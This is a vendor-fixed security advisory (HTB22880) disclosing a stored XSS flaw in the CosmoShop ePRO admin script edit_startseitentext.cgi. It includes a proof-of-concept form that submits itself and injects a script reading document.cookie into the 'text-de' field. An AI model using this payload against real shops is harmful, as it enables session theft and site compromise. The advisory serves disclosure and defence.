Vulnerability ID: HTB22880 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cosmoshop_1.html Product: CosmoShop Vendor: Zaunz Publishing GmbH ( http://www.cosmoshop.de/ ) Vulnerable Version: ePRO V10.05.00 Vendor Notification: 24 February 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "cgi-bin/admin/edit_startseitentext.cgi" script to properly sanitize user-supplied input in "text-de" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/cgi-bin/admin/edit_startseitentext.cgi"; method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="setup" value="allgemein"> <input type="hidden" name="action" value="save"> <input type="hidden" name="use_wwe" value="1"> <input type="hidden" name="file-de" value="startseitentext_de.txt"> <input type="hidden" name="text-de" value='page html"><script>alert(document.cookie)</script>'> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version
